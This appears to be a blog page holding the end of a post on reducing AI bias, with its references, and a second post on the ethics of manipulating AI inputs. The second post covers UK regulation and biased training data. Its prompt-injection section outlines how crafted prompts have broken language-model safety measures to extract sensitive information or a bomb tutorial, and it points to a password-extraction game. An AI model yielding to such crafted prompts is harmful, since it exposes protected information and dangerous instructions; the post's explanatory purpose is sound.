Minimising bias in AI can be very challenging as they have become very complex and are used to make import decisions in comparison to earlier versions. Some individuals and organisations consider it an impossible task but there are five measures that can be implemented to reduce AI bias (Mitra Best, 2022).

  • Identify your unique vulnerabilities: Different industries face different kinds of risks from AI bias when it contaminates datasets and result in negative consequences. Determine the specific vulnerabilities for your industry and define potential bias that could affect the AI system. Prioritise your mitigations based on the financial, operational, and reputational risks.
  • Control your data: Focus on historical and third-party data and remove any potential biased patterns or correlations. Well designed “synthetic data” can be used to fill the gaps in datasets and reduce bias.
  • Govern AI at AI speed: There should be easily understandable governance frameworks and toolkits that include common definitions and controls to support AI specialists, businesses and consumers in the identification of any issues.
  • Diversify your team: Build a diverse team to help reduce the potential risk of bias. This is because people from different racial and gender identities and economic backgrounds will often notice different biases that are commonly missed if only one group of people are scrutinizing the dataset.
  • Validate independently and continuously: Add an independent line of defence, an independent internal team or a trusted third-party to analyse the dataset and algorithm for fairness.

This post was written by Shinoj Joni

References

Alina Oprea, A. V. (2024, January 4). Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations. Retrieved from NIST: https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-2e2023.ipd.pdf

Ataman, A. (2024, January 3). Data Quality in AI: Challenges, Importance & Best Practices in ’24. Retrieved from AIMultiple: https://research.aimultiple.com/data-quality-ai/

Awais, M. N. (2023, December 7). AI and machine learning for soil analysis: an assessment of sustainable agricultural practices. Retrieved from National Center for Biotechnology Information: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10992573/

Bosch AIShield. (2022). AI SECURITY – WHITE PAPER. Retrieved from Bosch AIShield: https://www.boschaishield.com/resources/whitepaper/#:~:text=Objective%20of%20the%20whitepaper&text=Addressing%20the%20security%20needs%20can,gaps%20and%20realize%20the%20needs.

Brogan, C. (2023, November 17). New AI tool detects up to 13% more breast cancers than humans alone. Retrieved from Imperial College London: https://www.imperial.ac.uk/news/249573/new-ai-tool-detects-13-more/

Chapman University. (n.d.). Bias in AI. Retrieved from Chapman University: https://www.chapman.edu/ai/bias-in-ai.aspx#:~:text=Types%20of%20Bias%20in%20AI&text=Selection%20bias%3A%20This%20happens%20when,lead%20to%20an%20unrepresentative%20dataset.

China, C. R. (2024, January 10). Breaking down the advantages and disadvantages of artificial intelligence. Retrieved from IBM: https://www.ibm.com/blog/breaking-down-the-advantages-and-disadvantages-of-artificial-intelligence/

Dastin, J. (2018, October 11). Insight – Amazon scraps secret AI recruiting tool that showed bias against women. Retrieved from Reuters: https://www.reuters.com/article/us-amazon-com-jobs-automation-insight/amazon-scraps-secret-ai-recruiting-tool-that-showed-bias-against-women-idUSKCN1MK08G/

Forristal, L. (2023, June 21). Artists are upset that ‘Secret Invasion’ used AI art for opening credits. Retrieved from TechCrunch: https://techcrunch.com/2023/06/21/marvel-secret-invasion-ai-art-opening-credits/?guccounter=1

Fujitsu. (n.d.). Adversarial AI Fooling the Algorithm in the Age of Autonomy. Retrieved from Fujitsu: https://www.fujitsu.com/uk/imagesgig5/7729-001-Adversarial-Whitepaper-v1.0.pdf

Hailong Hu, J. P. (2021, December 6). Stealing Machine Learning Models: Attacks and Countermeasures for Generative Adversarial Networks. Retrieved from Association for COmputing Machinery Digital Library: https://dl.acm.org/doi/fullHtml/10.1145/3485832.3485838#

Hao, K. (2019, January 21). AI is sending people to jail—and getting it wrong. Retrieved from MIT Technology Review: https://www.technologyreview.com/2019/01/21/137783/algorithms-criminal-justice-ai/

Hossein Hosseini, S. K. (2017, February 27). Deceiving Google’s Perspective API Built for Detecting Toxic Comments. Retrieved from arXiv: https://arxiv.org/pdf/1702.08138

Ian J. Goodfellow, J. S. (2015, March 20). EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES. Retrieved from arXiv: https://arxiv.org/pdf/1412.6572

James Manyika, J. S. (2019, October 25). What Do We Do About the Biases in AI? Retrieved from Harvard Business Review: https://hbr.org/2019/10/what-do-we-do-about-the-biases-in-ai

Jee, C. (2019, August 13). Google’s algorithm for detecting hate speech is racially biased. Retrieved from MIT Technology Review: https://www.technologyreview.com/2019/08/13/133757/googles-algorithm-for-detecting-hate-speech-looks-racially-biased/

Lenaerts-Bergmans, B. (2024, March 20). Data Poisoning: The Exploitation of Generative AI. Retrieved from CrowdStrike: https://www.crowdstrike.com/cybersecurity-101/cyberattacks/data-poisoning/

Likens, S. (2023). How can AI benefit society? Retrieved from PwC: https://www.pwc.com/gx/en/about/global-annual-review/artificial-intelligence.html

Matzelle, E. (2024, February 29). Top Artificial Intelligence Statistics and Facts for 2024. Retrieved from CompTIA: https://connect.comptia.org/blog/artificial-intelligence-statistics-facts

Mitra Best, A. R. (2022, January 18). Understanding algorithmic bias and how to build trust in AI. Retrieved from PwC: https://www.pwc.com/us/en/tech-effect/ai-analytics/algorithmic-bias-and-trust-in-ai.html

Nightfall AI. (n.d.). Adversarial Attacks and Perturbations. Retrieved from Nightfall AI: https://www.nightfall.ai/ai-security-101/adversarial-attacks-and-perturbations

Pu Zhao, P.-Y. C. (2023, October 22). Bridging Mode Connectivity in Loss Landscapes and Adversarial Robustness. Retrieved from OpenReview: https://openreview.net/attachment?id=SJgwzCEKwH&name=original_pdf

Ram, T. (2023, June 22). Exploring the Use of Adversarial Learning in Improving Model Robustness. Retrieved from Analytics Vidhya: https://www.analyticsvidhya.com/blog/2023/02/exploring-the-use-of-adversarial-learning-in-improving-model-robustness/

Ethical Implications of Manipulating AI Inputs 

In law a man is guilty when he violates the rights of others. In ethics he is guilty if he only thinks of doing so.

Immanuel Kant 

Introduction  

Over the past decade the term ‘Artificial Intelligence’ (AI) has made efforts to remove itself from a buzzword used in startup elevator pitches to expanding onto a globally accessible platform, allowing almost anyone with internet access to dip their toe into the ever-increasing pool of AI tools being developed.  

Within the UK the rise of AI not only lends a helping hand to mass innovation within industries and companies, but also brings immense potential in aiding the UK economy with an expected 10.3% injection to GDP by 2030 (https://www.pwc.co.uk/economic-services/assets/ai-uk-report-v2.pdf). AI isn’t just for Christmas and is here to stay well into the future.   

There are huge benefits to implementing and using AI tools, however, the UK public hold cautious views with 38% of the population having concerns over privacy and data security, and 37% (https://www.forbes.com/uk/advisor/business/software/uk-artificial-intelligence-ai-statistics-2023/) of the population worrying about the ethical implications of misusing AI. There is a clear need to consider the effects of adopting AI by understanding its current and future challenges within society.  

UK AI Legislation  

At present, the UK has no standalone dedicated legislation for AI. However, in March 2023 the release of the ‘A pro-innovation approach to AI’ regulation, which outlined existing legislation within the UK and how the AI sector has a framework to operate under using pre-existing legislation.  

‘While we should capitalise on the benefits of these technologies, we should also not overlook the new risks that may arise from their use, nor the unease that the complexity of AI technologies can produce in the wider public. We already know that some uses of AI could damage our physical and mental health, infringe on the privacy of individuals and undermine human rights.’ 

(https://assets.publishing.service.gov.uk/media/64cb71a547915a00142a91c4/a-pro-innovation-approach-to-ai-regulation-amended-web-ready.pdf) 

The document takes into consideration the benefits of adopting AI within the UK but also addresses areas relating to the potential risks brought about from rapid adoption. The five principles outlined in the document are: 

  1. Safety, security, and robustness
  2. Appropriate transparency and explainability
  3. Fairness
  4. Accountability and governance
  5. Contestability and redress

‘The development and deployment of AI can also present ethical challenges which do not always have clear answers. Unless we act, household consumers, public services and businesses will not trust the technology and will be nervous about adopting it.’ (https://www.gov.uk/government/publications/ai-regulation-a-pro-innovation-approach/white-paper)

What Are AI Inputs?

Some examples of data inputs could be:

  • Online data: Information gathered from the internet, databases, or through APIs, which can include social media posts, news articles, or scientific datasets.
  • Pre-processed and curated datasets: Often used in training AI models, these datasets are usually structured and cleaned to ensure the quality and relevance of the input data
  • Direct user input: Information entered by users, such as queries to a chatbot or parameters in an AI-driven application.
  • Sensor data: Real-time data from sensors and IoT devices, used in applications ranging from autonomous vehicles to smart home systems.

Bias Within Training Datasets

Considering the current landscape of AI and the regulations that oversee the sector, there needs to be discussions on what the ethical aims and boundaries should be when developing new tools.

Whilst leading companies are still researching and developing towards Artificial General Intelligence (AGI), the industry is currently developing AI models that are fundamentally trained and tied to curated datasets.

Imagine a situation where an AI recruitment tool has been trained on historical employment data from a period when an industry or profession was predominantly occupied by males due to societal biases and discrimination. Let’s assume that this data has been gathered in an effective manner, cleaned and labelled correctly. The next step would be to use the data to train a new AI recruitment tool to cut recruitment costs and pick the best candidates for the job at lightspeed. Great, we now have a brilliant tool that gives us the best people for the job… or have we?

This scenario has not been made up, and it may surprise you to hear that this recruitment tool was made at Amazon back in 2014. After training their AI model based on historical employment data from the previous ten years, they identified certain biases towards recruiting males for technical roles such as software engineering. However, when analysing applications the AI would penalise any resumes that contained the words “Women” or “Women’s”. As a result, the successful candidates selected by the AI skewed towards male applications. This scenario is clearly an unethical approach to developing AI and would certainly be impacted by the Equality Act 2010 within the UK.

Another scenario based within the US legal system followed a similar approach to allowing biased input data to be used for training an AI model, the model ended up flagging marginalised groups to be twice as likely to reoffend than white people. Once again, it’s clear to see that models could be designed to answer complex questions, but the overall outcome of such a model is faulted by the data it is trained on. These bias outcomes are highly unethical and if continued in the same vein will negatively impact many people from a variety of cultures and backgrounds and greatly impact societal trust for AI. (https://www.bbc.co.uk/news/technology-44040008)

https://www.independent.co.uk/news/world/americas/crime/facial-recognition-arrest-detroit-lawsuit-b2389820.html

AI models are highly reliant on clean data with minimal errors, and even then, inherent biases within society can lead to unintended outcomes as seen above.

Prompt Injections

Chatbots have been adopted across the globe, with offerings to an international audience (E.g. ChatGPT) and implementations within companies for bespoke internal chatbots built for improving productivity. For IT security this has brought to light a new landscape for managing risks through issues such as Prompt Injection attacks.

Prompt Injection attacks can affect Large Language Models (LLMs) through sending specially crafted inputs to the model with the aim of triggering unintended actions such as revealing sensitive information or manipulating a response to contain a bias.

The research paper ‘Universal and Transferable Adversarial Attacks on Aligned Language Models’ (https://llm-attacks.org/) published back in July 2023, identified weaknesses within LLMs that allowed for specially crafted prompts to breakout of the model’s safety nets and return unethical and downright dangerous information. The examples shown below detail some of these breakouts through special crafted prompts to create dangerous social media posts and a tutorial on how to make…a bomb.

In the UK, Section 2 of the Computer Misuse Act ‘Unauthorised access with intent to commit or facilitate commission of further offences’ details a maximum sentence of five years and could be applied to an obvious attempt to manipulate AI responses through prompt injection to reveal dangerous information like ‘How to build a bomb’.

If you are interested in learning the basics of prompt injections to reveal unintended information, an application called ‘Gandalf’ (https://gandalf.lakera.ai/) tests the user’s ability to craft special prompts to reveal a password.

Summary

One of the biggest impacts for an idea having success is how it’s accepted within society. So how can society trust AI if models are being trained on bias data or being exploited to perform unintended actions?

The industry is rapidly evolving, and we are still yet to see the full extent of AI. Adjustments will continue to be made in the coming years to incrementally improve upon legislation and the safety nets put in place around AI. Issues will continue to arise relating to deepfakes and copyright, which will have a direct impact on areas such as politics in the upcoming elections.

With the correct guidance, AI can become an extremely effective tool for humanity, however for now, the creases need ironing out before society trust can be attained.

This blog post was written by Kieran Burge